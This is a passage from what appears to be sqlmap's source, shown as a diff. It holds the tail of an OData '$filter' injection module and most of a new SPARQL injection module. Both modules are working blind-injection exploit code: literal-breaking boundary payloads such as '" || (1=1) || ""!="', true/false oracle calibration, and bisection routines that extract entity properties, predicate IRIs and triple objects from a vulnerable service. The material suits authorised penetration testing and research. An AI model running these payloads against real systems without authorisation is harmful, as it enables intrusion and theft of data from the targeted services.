falseTemplate = request(falsePayload)
if trueTemplate is None or falseTemplate is None or _isError(trueTemplate) or _isError(falseTemplate):
return None
if _ratio(trueTemplate, _send(place, parameter, truePayload)) < UPPER_RATIO_BOUND:
return None
if _ratio(falseTemplate, _send(place, parameter, falsePayload)) < UPPER_RATIO_BOUND:
return None
if _ratio(trueTemplate, falseTemplate) >= UPPER_RATIO_BOUND:
return None
def truth(predicate):
payload = _wrap(boundary, predicate)
page = request(payload)
usable = page if (page is not None and not _isError(page)) else None
def fresh():
p = _send(place, parameter, payload)
return None if (p is None or _isError(p)) else p
return resolveBit(usable, trueTemplate, falseTemplate, fresh)
truth.template = trueTemplate
truth.cache = cache
return truth
def _hasErrorSurface(place, parameter, boundary):
"""True when an unknown property really does surface as an error. The cheap existence oracle below is
an error/no-error split, so on an endpoint that SWALLOWS the service's 400 it answers 'exists' for
EVERY name - which reported all 37 candidate properties as reachable and dumped a wall of empty
columns. Probing a name that cannot exist tells the two apart in one request."""
payload = _wrap(boundary, "(%s ne null)" % randomStr(length=12, lowercase=True))
page = _send(place, parameter, payload, raw=True)
return page is None or _isError(page)
def _fieldExists(place, parameter, boundary, field):
"""A property that does not exist makes the whole $filter error (400), while an existing one filtered
to false returns 200-empty. So a raw error/no-error split is the existence oracle - but only where
_hasErrorSurface() confirmed the endpoint actually leaks that difference."""
payload = _wrap(boundary, "(%s ne null)" % field)
page = _send(place, parameter, payload, raw=True)
return page is not None and not _isError(page)
def _fieldExistsBlind(oracle, key, keyValue, field):
"""Existence WITHOUT an error surface, for an endpoint that renders a failed $filter as its ordinary
empty page. 'length(P) ge 0' is true for any property that exists, while an unknown one makes the
whole filter fail and the endpoint then serves exactly the FALSE model - so the boolean oracle
separates them cleanly. One request per candidate, same as the error-based check, and it keeps the
automatic dump working on a blind target instead of surrendering it."""
try:
return oracle("(%s eq %d and length(%s) ge 0)" % (key, keyValue, field))
except InconclusiveError:
return False
def _present(place, parameter, boundary, emptyPage, predicate):
"""True when `predicate` returns at least one entity, decided by a direct comparison against the known
EMPTY page rather than the ratio oracle - used to discover which key values exist WITHOUT assuming a
per-entity model yet. A partial/multi-row result is fine here: anything that differs from empty counts
as present."""
page = _send(place, parameter, _wrap(boundary, predicate))
if page is None or _isError(page):
return False
return _ratio(page, emptyPage) < UPPER_RATIO_BOUND
def _lowestKey(place, parameter, boundary, emptyPage, candidate):
"""The smallest existing value of a numeric key, found by bisecting on a RANGE predicate.
Walking up from 1 only works when the keys start near 1. Real services hand out identities from a
seed (1000, 100000, an epoch), and the old upward walk gave up after its run of misses and reported
'no numeric key property found' on a perfectly dumpable entity set. `ge` answers over a whole range
at once, so ~17 requests locate the first key wherever it sits."""
lo, hi = 0, ODATA_MAX_KEY
if not _present(place, parameter, boundary, emptyPage, "(%s ge %d)" % (candidate, lo)):
return None
while lo < hi:
mid = (lo + hi) // 2
if _present(place, parameter, boundary, emptyPage, "(%s le %d)" % (candidate, mid)):
hi = mid
else:
lo = mid + 1
return lo
def _findKeyAndEntities(place, parameter, boundary, emptyPage, errorSurface=True):
"""Pick a numeric key property and the key values that actually exist (bounded). Every probe stays a
single-entity 0/1-row answer, which the per-entity oracle can classify.
The error-based pre-check only earns its request where the endpoint HAS an error surface; without one
it answers 'exists' for every name, so the range probe below - which compares against the known empty
page and so needs no error at all - is left to reject the candidate on its own."""
for candidate in ODATA_KEY_CANDIDATES:
if errorSurface and not _fieldExists(place, parameter, boundary, candidate):
continue
start = _lowestKey(place, parameter, boundary, emptyPage, candidate)
if start is None:
continue
present = []
misses = 0
value = start - 1
# scan upward from the first real key; stop after a run of absent ids (sparse keys) or once
# enough are collected
while value < ODATA_MAX_KEY and len(present) < ODATA_MAX_RECORDS and misses < 32:
value += 1
if _present(place, parameter, boundary, emptyPage, "(%s eq %d)" % (candidate, value)):
present.append(value)
misses = 0
else:
misses += 1
if present:
if len(present) >= ODATA_MAX_RECORDS:
logger.warning("stopped at the %d-entity cap, so further entities are left undumped "
"(raise it with %s_ODATA_MAX_RECORDS)" % (ODATA_MAX_RECORDS, SQLMAP_ENVIRONMENT_PREFIX))
return candidate, present
return None, []
def _memberOf(oracle, pin, field, pos, ordinals, useIn):
"""One request asking whether the character at `pos` is ANY of `ordinals`."""
substring = "substring(%s,%d,1)" % (field, pos)
if useIn:
return oracle("(%s%s in (%s))" % (pin, substring, ",".join(_literal(_) for _ in ordinals)))
return oracle("(%s(%s))" % (pin, " or ".join("%s eq %s" % (substring, _literal(_)) for _ in ordinals)))
def _supportsIn(oracle, pin):
"""Whether the service speaks the v4.01 `in` operator, settled by a differential so one that merely
tolerates the syntax cannot fake it. Both spellings ask the identical question, but `in` costs the
parser a SINGLE node against ~8 per candidate for the disjunction, and the ceiling is real: ASP.NET
Core OData allows 100 nodes by default (MaxNodeCount) and was measured rejecting an 11-term
disjunction outright. So `in`, where offered, buys headroom on a service configured stricter than
the default rather than a bigger question."""
try:
return oracle("(%s'a' in ('a','b'))" % pin) and not oracle("(%s'a' in ('b','c'))" % pin)
except InconclusiveError:
return False
def _inferField(oracle, key, keyValue, field, maxLen=ODATA_MAX_LENGTH, useIn=None):
"""Blindly recover one string property of the entity pinned by key==keyValue: length by binary
search, then each character by set-membership bisection. OData substring() is 0-indexed, so
character `pos` (1-based) is substring(field,pos-1,1)."""
pin = "%s eq %d and " % (key, keyValue)
try:
if useIn is None:
useIn = _supportsIn(oracle, pin)
if not oracle("(%slength(%s) ge 1)" % (pin, field)):
return ""
lo, hi = 1, maxLen
while lo < hi:
mid = (lo + hi + 1) // 2
if oracle("(%slength(%s) ge %d)" % (pin, field, mid)):
lo = mid
else:
hi = mid - 1
length = lo
if length >= maxLen:
# the bisection is bounded, so a value at the bound is a FLOOR, not a measurement - saying
# nothing here hands back a prefix that reads exactly like a complete value
logger.warning("property '%s' is at least %d characters; the recovered value is truncated "
"at the cap (raise it with %s_ODATA_MAX_LENGTH)" % (field, maxLen, SQLMAP_ENVIRONMENT_PREFIX))
chars = []
for pos in xrange(length):
# A whole candidate set is asked about in ONE request, so a probe halves the space just as
# a relational bisection would - without ever leaving `eq`, the only comparison .NET does
# not case-fold. The weight-ordered blocks are tried in turn, so a likely character is
# settled by the first of them and never pays for the rest of the charset.
recovered = "?"
for start in xrange(0, len(_CS_ORDS), ODATA_CHARSET_BLOCK):
candidates = _CS_ORDS[start:start + ODATA_CHARSET_BLOCK]
if not _memberOf(oracle, pin, field, pos, candidates, useIn):
continue
while len(candidates) > 1:
# membership in `candidates` is established, so the untested side is implied
cut = _splitPoint(candidates)
candidates = (candidates[:cut] if _memberOf(oracle, pin, field, pos, candidates[:cut], useIn)
else candidates[cut:])
recovered = chr(candidates[0])
break
chars.append(recovered)
except InconclusiveError:
logger.warning("OData extraction aborted for '%s' (oracle inconclusive after retries)" % field)
return None
return "".join(chars)
def _grid(columns, rows):
columns = [getUnicode(_) for _ in columns]
rows = [[getUnicode(_) for _ in row] for row in rows]
widths = []
for index, column in enumerate(columns):
width = len(column)
for row in rows:
if index < len(row):
width = max(width, len(getUnicode(row[index])))
widths.append(width)
separator = "+-" + "-+-".join("-" * _ for _ in widths) + "-+"
def line(cells):
return "| " + " | ".join((getUnicode(cells[index]) if index < len(cells) else "").ljust(widths[index]) for index in xrange(len(columns))) + " |"
return "\n".join([separator, line(columns), separator] + [line(row) for row in rows] + [separator])
def _dumpEntities(place, parameter, boundary, emptyPage):
"""Find a key and the entities that exist, enumerate which common string properties are reachable,
then blind-read them for each entity - reaching properties the endpoint never $select-ed. A fresh
oracle is calibrated PER entity (true model = that one entity, false model = empty) so a
'key eq K and <cond>' probe, which returns that entity or nothing, matches the two models exactly."""
errorSurface = _hasErrorSurface(place, parameter, boundary)
if not errorSurface:
logger.debug("this endpoint swallows the service's $filter errors, so property existence is "
"decided through the boolean oracle instead of an error/no-error split")
key, keys = _findKeyAndEntities(place, parameter, boundary, emptyPage, errorSurface)
if not key:
logger.info("no numeric key property found among %s; reporting detection only"
% ", ".join(ODATA_KEY_CANDIDATES[:4]))
return
if errorSurface:
reachable = [_ for _ in ODATA_COMMON_FIELDS if _ != key and _fieldExists(place, parameter, boundary, _)]
else:
probe = _makeOracle(place, parameter, boundary, truePredicate="(%s eq %d)" % (key, keys[0]))
if probe is None:
logger.info("property enumeration needs a per-entity oracle this endpoint does not support; "
"reporting detection only")
return
reachable = [_ for _ in ODATA_COMMON_FIELDS if _ != key and _fieldExistsBlind(probe, key, keys[0], _)]
fields = [key] + reachable
logger.info("key property '%s'; %d entit%s; reachable properties: %s"
% (key, len(keys), "y" if len(keys) == 1 else "ies", ", ".join(fields)))
rows = []
useIn = None
for value in keys:
oracle = _makeOracle(place, parameter, boundary, truePredicate="(%s eq %d)" % (key, value))
if oracle is None:
continue
if useIn is None:
# a property of the service, not of the entity, so it is settled once for the whole dump
useIn = _supportsIn(oracle, "%s eq %d and " % (key, value))
logger.debug("service %s the 'in' operator, so one probe covers %d candidate character(s)"
% ("speaks" if useIn else "does not speak", len(_CS_ORDS) if useIn else ODATA_CHARSET_BLOCK))
row = [str(value)]
for field in fields[1:]:
recovered = _inferField(oracle, key, value, field, useIn=useIn)
row.append("?" if recovered is None else recovered)
rows.append(row)
if rows:
conf.dumper.singleString("OData: entities dumped through '$filter' (%d)\n%s"
% (len(rows), _grid(fields, rows)))
def odataScan():
global SENTINEL
SENTINEL = randomStr(length=10, lowercase=True)
debugMsg = "'--odata' is self-contained: it detects OData '$filter' injection in HTTP parameters and "
debugMsg += "blindly dumps the reachable entities. SQL enumeration switches (--banner, --dbs, "
debugMsg += "--tables, --users, --sql-query) are ignored"
logger.debug(debugMsg)
if not conf.paramDict:
logger.error("no request parameters to test (use --data, GET params, or similar)")
return
tested = found = 0
for place in (_ for _ in ODATA_PLACES if _ in conf.paramDict):
for parameter in list(conf.paramDict[place].keys()):
if conf.testParameter and parameter not in conf.testParameter:
continue
tested += 1
logger.info("testing OData injection on %s parameter '%s'" % (place, parameter))
backendHint, _errorPage = _probeError(place, parameter)
if backendHint:
logger.info("%s parameter '%s' reaches an OData service (framework: '%s')" % (place, parameter, backendHint))
template, payload, boundary = _detectBoolean(place, parameter)
if not template:
continue
isOData = _confirmOData(place, parameter, boundary) or bool(backendHint)
if not isOData:
logger.info("%s parameter '%s' shows a boolean differential but no OData-only construct "
"confirmed it; not attributing to OData (may be plain SQL injection)"
% (place, parameter))
continue
found += 1
if conf.beep:
beep()
detectOracle = _makeOracle(place, parameter, boundary)
version = _fingerprintVersion(detectOracle) if detectOracle else None
backend = backendHint or "Generic OData"
versionMsg = " %s" % version if version else ""
logger.info("%s parameter '%s' is vulnerable to OData injection (framework: '%s'%s)"
% (place, parameter, backend, versionMsg))
conf.dumper.singleString("---\nParameter: %s (%s)\n Type: OData injection\n"
" Title: OData $filter boolean-based blind\n Payload: %s=%s\n---"
% (parameter, place, parameter, payload))
if detectOracle is None:
logger.info("extraction disabled (true/false models not reliably separable); detection stands")
continue
emptyPage = _send(place, parameter, _wrap(boundary, "(1 eq 2)"))
if emptyPage is not None:
_dumpEntities(place, parameter, boundary, emptyPage)
if not found:
if tested:
logger.warning("no parameter appears to be injectable via OData injection (%d tested)" % tested)
else:
logger.warning("no parameters found to test for OData injection")
logger.info("OData scan complete")
+8
View File
@@ -0,0 +1,8 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
pass
+549
View File
@@ -0,0 +1,549 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
"""
SPARQL injection ('--sparql').
An application that concatenates user input into a SPARQL query hands over the whole graph pattern
language, not just a value. The typical surface is a search feature whose input lands inside a string
literal in a FILTER (FILTER(?name = "<input>")) or a numeric/term position. Breaking out of that literal
turns the FILTER into an attacker-controlled boolean, which is a boolean-based blind oracle: the row the
query returns appears or disappears according to a condition sqlmap controls.
detect break the literal, then confirm a reproducible true/false differential (1=1 vs 1=2)
confirm a SPARQL-only construct (isIRI / BOUND-of-a-subquery) that plain SQL does not evaluate,
so the finding is attributed to SPARQL rather than to ordinary SQL injection
extract through the oracle, blindly recover data from the store: the number of triples and of
distinct predicates, each predicate IRI, and a sample of triple OBJECTS - all by
STRLEN + SUBSTR binary search behind an EXISTS sub-pattern
Objects only, deliberately: the objects are where the data sits, the predicates are already enumerated
in their own pass, and reassembling whole (subject, predicate, object) rows would mean three independent
blind walks per row that all have to agree on the same ordering - triple the request count for the two
components that carry the least.
Everything is confirmed by a reproducible boolean differential or a per-run random value; nothing is
inferred from a payload merely "looking like" it worked. The extraction is schema-agnostic: it walks the
default graph via COUNT / ORDER BY / OFFSET sub-queries, so it needs no prior knowledge of the ontology.
"""
import re
import time
from collections import namedtuple
from lib.core.common import beep
from lib.core.common import randomStr
from lib.core.common import urldecode
from lib.core.convert import getUnicode
from lib.core.data import conf
from lib.core.data import logger
from lib.core.enums import CUSTOM_LOGGING
from lib.core.enums import PLACE
from lib.utils.nonsql import InconclusiveError
from lib.utils.nonsql import resolveBit
from lib.utils.nonsql import sqlErrorPresent
from lib.utils.nonsql import blockedStatus
from lib.utils.nonsql import ratio as _ratio
from lib.utils.nonsql import userDecision
from lib.utils.nonsql import userOracleActive
from lib.core.settings import SPARQL_CHAR_MAX
from lib.core.settings import SPARQL_CHAR_MIN
from lib.core.settings import SPARQL_ERROR_REGEX
from lib.core.settings import SPARQL_ERROR_SIGNATURES
from lib.core.settings import SPARQL_MAX_LENGTH
from lib.core.settings import SPARQL_MAX_PREDICATES
from lib.core.settings import SPARQL_MAX_RECORDS
from lib.core.settings import SQLMAP_ENVIRONMENT_PREFIX
from lib.core.settings import UPPER_RATIO_BOUND
from lib.request.connect import Connect as Request
from lib.utils.xrange import xrange
from thirdparty.six.moves.urllib.parse import quote as _quote
SENTINEL = randomStr(length=10, lowercase=True)
# a NUMERIC sentinel for the unquoted slot: the base has to be a valid SPARQL term there, and a random
# word is not one - it is a syntax error, which is why the numeric boundary could never fire before
NUMBER_SENTINEL = randomStr(length=9, alphabet="123456789")
SPARQL_PLACES = (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST)
# What the injected value STARTS with, chosen so the application's own comparison matches nothing and the
# injected predicate alone decides whether a row comes back.
_BASE_STRING = "string" # a random word, inside the quotes the application already wrote
_BASE_NUMBER = "number" # a random integer, for an unquoted numeric/term slot
Boundary = namedtuple("Boundary", ("prefix", "suffix", "base"))
# Detection boundaries, priority-ordered. Each breaks out of the user-controlled position and rebuilds a
# syntactically valid FILTER whose truth is (predicate). `prefix`/`suffix` wrap a later predicate for
# extraction; `sentinel` marks an OR-style boundary (base value matches nothing, so the injected predicate
# alone decides whether any row is returned).
#
# NOTE every boundary is built with SPARQL's `||` and NEVER `&&`: a raw '&' inside a GET value is the
# parameter delimiter, so sqlmap would split the request and the query would arrive truncated (a 500 that
# looks like a dead oracle). '||' with a base value that matches nothing reduces the FILTER to the
# injected predicate, which is exactly what the extraction oracle needs.
# (true_break, false_break, prefix, suffix, base)
_BOUNDARY_TABLE = (
# double-quoted string literal
('" || (1=1) || ""!="', '" || (1=2) || ""!="', '" || (', ') || ""!="', _BASE_STRING),
# single-quoted string literal
("' || (1=1) || ''!='", "' || (1=2) || ''!='", "' || (", ") || ''!='", _BASE_STRING),
# numeric / unquoted term (input not wrapped in quotes). Nothing to close and nothing to re-balance:
# '=' binds tighter than '||', so FILTER(?x = <num> || (pred)) parses as (?x = <num>) || (pred) and
# reduces to the injected predicate because <num> matches no row.
(" || (1=1)", " || (1=2)", " || (", ")", _BASE_NUMBER),
)
# Codepoints for blind character recovery. The set is CONTIGUOUS on purpose: the recovery is a
# lexicographic '>=' bisection, so a hole does not make the excluded character unrecoverable - it makes
# the bisection converge on the hole's neighbour and report a DIFFERENT character, silently. '"' and '\'
# therefore stay in the charset and are emitted as their SPARQL escapes rather than dropped.
_CS_ORDS = [_ for _ in xrange(SPARQL_CHAR_MIN, SPARQL_CHAR_MAX + 1)]
# ECHAR escapes: these two cannot appear raw inside a double-quoted SPARQL literal (STRING_LITERAL2)
_ESCAPES = {0x22: '\\"', 0x5c: "\\\\"}
def _literal(ordinal):
"""One codepoint as a double-quoted SPARQL string literal."""
return '"%s"' % _ESCAPES.get(ordinal, chr(ordinal))
def _delim(place):
return conf.paramDel or (';' if place == PLACE.COOKIE else '&')
def _confParameters(place):
return conf.parameters.get(place) or ""
def _originalValue(place, parameter):
# decoded on the way in, re-encoded by _send() on the way out, so the module works in plain text
# and a value carrying %XX/'+' round-trips to exactly what the application originally received
for pair in _confParameters(place).split(_delim(place)):
if '=' in pair:
name, _, value = pair.partition('=')
if name.strip() == parameter:
return urldecode(value, convall=True)
return None
def _replaceSegment(place, parameter, value):
retVal = []
for pair in _confParameters(place).split(_delim(place)):
if '=' in pair:
name, _, old = pair.partition('=')
retVal.append("%s=%s" % (name, value if name.strip() == parameter else old))
elif pair:
retVal.append(pair)
return _delim(place).join(retVal)
def _send(place, parameter, value, raw=False):
"""One HTTP request with the target parameter set to `value`, reusing sqlmap's request machinery so
URL, cookies, headers, proxy, delay and encoding all behave exactly as in a normal run.
`raw=True` returns the body even for a 5xx status. The boolean oracle must NEVER see it (a 500 is not
a usable true/false sample, hence the default nulling), but the error probe wants exactly that body:
a triple-store parser diagnostic is commonly served as a 500.
The value is URL-encoded (as '--ssti' already does) because a payload metacharacter otherwise never
reaches the query intact: a raw '&' is the parameter delimiter, so the request SPLITS and the store
sees a truncated query, and '+' arrives as a space. That is not hypothetical - the character-scan
probes emit both, and unencoded they made a lexicographic bisection answer the '&' comparison
falsely and silently return the WRONG character ('A&x'/'A)x'/'A+x' all recovered as 'A%x')."""
if conf.delay:
time.sleep(conf.delay)
saved = conf.parameters.get(place, "")
conf.parameters[place] = _replaceSegment(place, parameter, _quote(value, safe=""))
try:
if conf.verbose >= 3:
logger.log(CUSTOM_LOGGING.PAYLOAD, "%s=%s" % (parameter, value))
page, _, code = Request.getPage(raise404=False, silent=True)
# A transport failure, a BLOCKED status (403/429) or ANY error status is not a usable oracle
# sample. Nulling only 5xx was not enough: a front-end that serves its parser failure as a 400
# with a body carrying no recognisable store signature slipped past _isError(), and when that
# body happened to resemble the FALSE model the bit was decided FALSE instead of INCONCLUSIVE -
# a silently wrong character. Measured: a value of 'A(x' behind a validator that 400s the '('
# probe decoded as 'A\'x'. An unusable sample must be a non-answer, never a cheap false.
if not raw and (blockedStatus(code) or (code and code >= 400)):
return None
return page or ""
except Exception as ex:
logger.debug("SPARQL probe request failed: %s" % getUnicode(ex))
return None
finally:
conf.parameters[place] = saved
def _isError(page):
page = getUnicode(page or "")
return bool(re.search(SPARQL_ERROR_REGEX, page)) or sqlErrorPresent(page)
def _backendFromError(page):
page = getUnicode(page or "")
for backend, regex in SPARQL_ERROR_SIGNATURES:
if re.search(regex, page):
return backend
return None
def _probeError(place, parameter):
"""Break the query context and look for a triple-store parser diagnostic. A hint only - the boolean
oracle is authoritative."""
original = _originalValue(place, parameter) or "1"
normal = _send(place, parameter, original, raw=True)
# NOTE no '&&' suffix here: a raw '&' in a GET value is the parameter delimiter, so it would split the
# request rather than break the query. A bare quote / paren is enough to trip the parser.
for suffix in ('"', "'", ")", " ."):
broken = _send(place, parameter, original + suffix, raw=True)
if not broken or _ratio(normal, broken) >= UPPER_RATIO_BOUND:
continue
backend = _backendFromError(broken)
if backend and not _isError(normal):
return backend, broken
return None, None
def _boolean(truthy, falsy):
"""Return the reproducible true page when the true/false probes diverge (each independently
reproducible), else None."""
truePage = truthy()
if truePage is None or _isError(truePage):
return None
if _ratio(truePage, truthy()) < UPPER_RATIO_BOUND:
return None
falsePage = falsy()
if falsePage is None or _isError(falsePage):
return None
if _ratio(falsePage, falsy()) < UPPER_RATIO_BOUND:
return None
if userOracleActive():
return truePage if (userDecision(truePage) is True and userDecision(falsePage) is False) else None
if _ratio(truePage, falsePage) < UPPER_RATIO_BOUND:
return truePage
return None
def _detectBoolean(place, parameter):
"""Return (template, payload, boundary) for boolean-blind SPARQL injection, else (None, None, None)."""
for trueBreak, falseBreak, prefix, suffix, kind in _BOUNDARY_TABLE:
boundary = Boundary(prefix, suffix, kind)
base = _base(boundary)
truePayload = base + trueBreak
falsePayload = base + falseBreak
template = _boolean(lambda p=truePayload: _send(place, parameter, p),
lambda p=falsePayload: _send(place, parameter, p))
if template:
return template, truePayload, boundary
return None, None, None
def _base(boundary):
return NUMBER_SENTINEL if boundary.base == _BASE_NUMBER else SENTINEL
def _wrap(base, boundary, predicate):
return "%s%s%s%s" % (base, boundary.prefix, predicate, boundary.suffix)
# SPARQL-only attribution. EXISTS over a triple pattern plus isIRI() is SPARQL graph-pattern syntax with
# no plain-SQL equivalent, so a true/false divergence here is attributable to a SPARQL engine rather than
# to ordinary SQL injection behind the same quote. The false side uses TWO FILTERs (a conjunction) rather
# than `&&`, keeping the payload free of the '&' that GET transport would treat as a delimiter.
_SPARQL_PREDICATES = (
("EXISTS { ?zs ?zp ?zo }", "EXISTS { ?zs ?zp ?zo . FILTER(isIRI(?zo)) FILTER(!isIRI(?zo)) }"),
)
def _confirmSparql(place, parameter, boundary):
base = _base(boundary)
for truePred, falsePred in _SPARQL_PREDICATES:
if _boolean(lambda p=_wrap(base, boundary, truePred): _send(place, parameter, p),
lambda p=_wrap(base, boundary, falsePred): _send(place, parameter, p)):
return True
return False
def _makeOracle(place, parameter, boundary):
"""Build the extraction oracle by recalibrating both true/false models on the SAME base + boundary the
predicates use, then classify each later bit RELATIVE to those two models (resolveBit). Returns None -
disabling extraction - when the models are missing, error pages, or not reliably separable, so a
finding is never dressed up with fabricated data."""
cache = {}
base = _base(boundary)
def request(payload):
if payload not in cache:
page = _send(place, parameter, payload)
if page is not None and not _isError(page):
cache[payload] = page
return page
return cache[payload]
truePayload = _wrap(base, boundary, "(1=1)")
falsePayload = _wrap(base, boundary, "(1=2)")
trueTemplate = request(truePayload)
falseTemplate = request(falsePayload)
if trueTemplate is None or falseTemplate is None or _isError(trueTemplate) or _isError(falseTemplate):
return None
if _ratio(trueTemplate, _send(place, parameter, truePayload)) < UPPER_RATIO_BOUND:
return None
if _ratio(falseTemplate, _send(place, parameter, falsePayload)) < UPPER_RATIO_BOUND:
return None
if _ratio(trueTemplate, falseTemplate) >= UPPER_RATIO_BOUND:
return None
def truth(predicate):
payload = _wrap(base, boundary, predicate)
page = request(payload)
usable = page if (page is not None and not _isError(page)) else None
def fresh():
p = _send(place, parameter, payload)
return None if (p is None or _isError(p)) else p
return resolveBit(usable, trueTemplate, falseTemplate, fresh)
truth.template = trueTemplate
truth.cache = cache
return truth
# --- SPARQL condition builders -------------------------------------------------------------------------
#
# Every extraction condition is an EXISTS over a sub-pattern that BINDS ?v, then a FILTER on ?v. The outer
# `SELECT ?v WHERE { ... }` wrapper is mandatory: a bare `EXISTS { {subquery} FILTER(...) }` silently
# evaluates false on Jena, whereas the wrapped form works.
def _existsBind(inner, cmp):
return "EXISTS { SELECT ?v WHERE { %s FILTER(%s) } }" % (inner, cmp)
def _cmpAtLeast(expr, n):
return "%s >= %d" % (expr, n)
def _cmpChar(pos, ordinal):
# lexicographic '>=' on a single character bisects the codepoint-ordered charset
return 'SUBSTR(STR(?v),%d,1) >= %s' % (pos, _literal(ordinal))
# inner sub-patterns that bind ?v to something worth reading
_COUNT_TRIPLES = "{ SELECT (COUNT(*) AS ?v) WHERE {?s ?p ?o} }"
_COUNT_PREDICATES = "{ SELECT (COUNT(DISTINCT ?p) AS ?v) WHERE {?s ?p ?o} }"
def _nthPredicate(offset):
return ("{ SELECT DISTINCT ?p WHERE {?s ?p ?o} ORDER BY ?p LIMIT 1 OFFSET %d } "
"BIND(STR(?p) AS ?v)" % offset)
def _nthObject(offset):
return ("{ SELECT ?o WHERE {?s ?p ?o} ORDER BY STR(?o) LIMIT 1 OFFSET %d } "
"BIND(STR(?o) AS ?v)" % offset)
def _inferCount(truth, inner, maxCount):
"""Recover the integer bound to ?v by `inner` (a COUNT sub-select), by binary search. Returns None
when the oracle stays inconclusive - a half-bisected count is a wrong number, not a small one, and
it would go on to drive the enumeration loops."""
try:
if not truth(_existsBind(inner, _cmpAtLeast("?v", 1))):
return 0
lo, hi = 1, maxCount
while lo < hi:
mid = (lo + hi + 1) // 2
if truth(_existsBind(inner, _cmpAtLeast("?v", mid))):
lo = mid
else:
hi = mid - 1
except InconclusiveError:
logger.warning("SPARQL count inference aborted (oracle inconclusive after retries)")
return None
return lo
def _inferString(truth, inner, maxLen=SPARQL_MAX_LENGTH):
"""Blindly recover the string bound to ?v by `inner`: length by binary search, then each character by
bisecting its index in the codepoint-ordered charset."""
try:
if not truth(_existsBind(inner, _cmpAtLeast("STRLEN(STR(?v))", 1))):
return ""
lo, hi = 1, maxLen
while lo < hi:
mid = (lo + hi + 1) // 2
if truth(_existsBind(inner, _cmpAtLeast("STRLEN(STR(?v))", mid))):
lo = mid
else:
hi = mid - 1
length = lo
if length >= maxLen:
# the bisection is bounded, so a value at the bound is a FLOOR, not a measurement - saying
# nothing here hands back a prefix that reads exactly like a complete IRI or literal
logger.warning("value is at least %d characters; it is truncated at the cap "
"(raise it with %s_SPARQL_MAX_LENGTH)" % (maxLen, SQLMAP_ENVIRONMENT_PREFIX))
chars = []
last = len(_CS_ORDS) - 1
for pos in xrange(1, length + 1):
# is this character within the recoverable charset at all?
if not truth(_existsBind(inner, _cmpChar(pos, _CS_ORDS[0]))):
chars.append("?")
continue
clo, chi = 0, last
while clo < chi:
cmid = (clo + chi + 1) // 2
if truth(_existsBind(inner, _cmpChar(pos, _CS_ORDS[cmid]))):
clo = cmid
else:
chi = cmid - 1
chars.append(chr(_CS_ORDS[clo]))
except InconclusiveError:
logger.warning("SPARQL string inference aborted (oracle inconclusive after retries)")
return None
return "".join(chars)
def _grid(columns, rows):
columns = [getUnicode(_) for _ in columns]
rows = [[getUnicode(_) for _ in row] for row in rows]
widths = []
for index, column in enumerate(columns):
width = len(column)
for row in rows:
if index < len(row):
width = max(width, len(getUnicode(row[index])))
widths.append(width)
separator = "+-" + "-+-".join("-" * _ for _ in widths) + "-+"
def line(cells):
return "| " + " | ".join((getUnicode(cells[index]) if index < len(cells) else "").ljust(widths[index]) for index in xrange(len(columns))) + " |"
return "\n".join([separator, line(columns), separator] + [line(row) for row in rows] + [separator])
def _dumpGraph(truth):
"""Schema-agnostic blind dump of the default graph: distinct predicates, then a sample of the triple
objects (see the module note on why objects rather than whole triples)."""
predicates = _inferCount(truth, _COUNT_PREDICATES, SPARQL_MAX_PREDICATES)
triples = _inferCount(truth, _COUNT_TRIPLES, 10 ** 9)
if predicates is None or triples is None:
logger.warning("dump aborted: the oracle could not resolve the graph size; detection stands")
return
# _inferCount bisects inside a bound, so a count sitting ON that bound is a floor, not a count
saturated = predicates >= SPARQL_MAX_PREDICATES
logger.info("default graph holds %s%d distinct predicate(s) and %d triple(s)"
% ("at least " if saturated else "", predicates, triples))
if saturated:
logger.warning("the predicate count hit the %d cap, so the list below is partial "
"(raise it with %s_SPARQL_MAX_PREDICATES)" % (SPARQL_MAX_PREDICATES, SQLMAP_ENVIRONMENT_PREFIX))
predRows = []
for offset in xrange(min(predicates, SPARQL_MAX_PREDICATES)):
iri = _inferString(truth, _nthPredicate(offset))
if iri is None:
break
predRows.append([offset + 1, iri])
if predRows:
conf.dumper.singleString("SPARQL: distinct predicates in the default graph\n%s"
% _grid(["#", "predicate"], predRows))
limit = min(triples, SPARQL_MAX_RECORDS)
objRows = []
for offset in xrange(limit):
value = _inferString(truth, _nthObject(offset))
if value is None:
break
objRows.append([offset + 1, value])
if objRows:
conf.dumper.singleString("SPARQL: objects in the default graph (first %d, ordered)\n%s"
% (len(objRows), _grid(["#", "object"], objRows)))
if triples > limit:
logger.info("dumped the first %d of %d triples (bounded); raise the cap to fetch more" % (limit, triples))
def sparqlScan():
global SENTINEL, NUMBER_SENTINEL
SENTINEL = randomStr(length=10, lowercase=True)
NUMBER_SENTINEL = randomStr(length=9, alphabet="123456789")
debugMsg = "'--sparql' is self-contained: it detects SPARQL injection in HTTP parameters and blindly "
debugMsg += "dumps the reachable triple store. SQL enumeration switches (--banner, --dbs, --tables, "
debugMsg += "--users, --sql-query) are ignored"
logger.debug(debugMsg)
if not conf.paramDict:
logger.error("no request parameters to test (use --data, GET params, or similar)")
return
tested = found = 0
for place in (_ for _ in SPARQL_PLACES if _ in conf.paramDict):
for parameter in list(conf.paramDict[place].keys()):
if conf.testParameter and parameter not in conf.testParameter:
continue
tested += 1
logger.info("testing SPARQL injection on %s parameter '%s'" % (place, parameter))
backendHint, _errorPage = _probeError(place, parameter)
if backendHint:
logger.info("%s parameter '%s' reaches a SPARQL parser (back-end: '%s')" % (place, parameter, backendHint))
template, payload, boundary = _detectBoolean(place, parameter)
if not template:
continue
isSparql = _confirmSparql(place, parameter, boundary) or bool(backendHint)
if not isSparql:
logger.info("%s parameter '%s' shows a boolean differential but no SPARQL-only construct "
"confirmed it; not attributing to SPARQL (may be plain SQL injection)"
% (place, parameter))
continue
found += 1
if conf.beep:
beep()
backend = backendHint or "Generic SPARQL"
logger.info("%s parameter '%s' is vulnerable to SPARQL injection (back-end: '%s')"
% (place, parameter, backend))
conf.dumper.singleString("---\nParameter: %s (%s)\n Type: SPARQL injection\n"
" Title: SPARQL boolean-based blind\n Payload: %s=%s\n---"
% (parameter, place, parameter, payload))
oracle = _makeOracle(place, parameter, boundary)
if oracle is None:
logger.info("extraction disabled (true/false models not reliably separable); detection stands")
continue
_dumpGraph(oracle)
if not found:
if tested:
logger.warning("no parameter appears to be injectable via SPARQL injection (%d tested)" % tested)
else:
